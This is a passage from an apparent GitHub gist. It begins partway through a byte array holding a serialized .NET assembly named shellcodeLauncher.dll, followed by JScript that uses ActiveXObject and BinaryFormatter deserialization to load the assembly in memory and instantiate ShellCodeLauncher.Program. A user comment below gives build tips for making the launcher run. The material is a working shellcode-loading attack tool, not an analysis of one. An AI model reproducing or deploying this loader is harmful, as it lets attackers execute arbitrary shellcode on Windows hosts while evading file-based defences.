86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,
84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110,0,0,0,0,0,0,0,176,4,204,1,
0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,
0,0,168,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,
70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,
0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,
110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,76,0,22,0,1,0,73,0,110,0,
116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,115,0,104,0,101,0,108,0,108,0,
99,0,111,0,100,0,101,0,76,0,97,0,117,0,110,0,99,0,104,0,101,0,114,0,46,0,100,0,108,0,108,0,
0,0,40,0,2,0,1,0,76,0,101,0,103,0,97,0,108,0,67,0,111,0,112,0,121,0,114,0,105,0,103,0,
104,0,116,0,0,0,32,0,0,0,84,0,22,0,1,0,79,0,114,0,105,0,103,0,105,0,110,0,97,0,108,0,
70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,115,0,104,0,101,0,108,0,108,0,99,0,111,0,
100,0,101,0,76,0,97,0,117,0,110,0,99,0,104,0,101,0,114,0,46,0,100,0,108,0,108,0,0,0,52,0,
8,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,
0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,
109,0,98,0,108,0,121,0,32,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,
46,0,48,0,46,0,48,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,32,0,0,12,0,0,0,224,58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,13,0,0,0,4,0,0,0,9,23,0,0,0,9,6,0,0,0,9,22,0,0,0,6,26,
0,0,0,39,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,32,76,
111,97,100,40,66,121,116,101,91,93,41,8,0,0,0,10,11
];
var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = new ActiveXObject('System.IO.MemoryStream');
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList')
for (i in serialized_obj) {
stm.WriteByte(serialized_obj[i]);
}
stm.Position = 0;
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
Copy link

ghost commented May 11, 2018

Be sure you build your assembly with approriate /platform switch: /platform:x86 or /platform:x64
Also, you need a constructor on the Program class.
Something like this should help.
public Program()
{
Main();
}

On like line 19

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment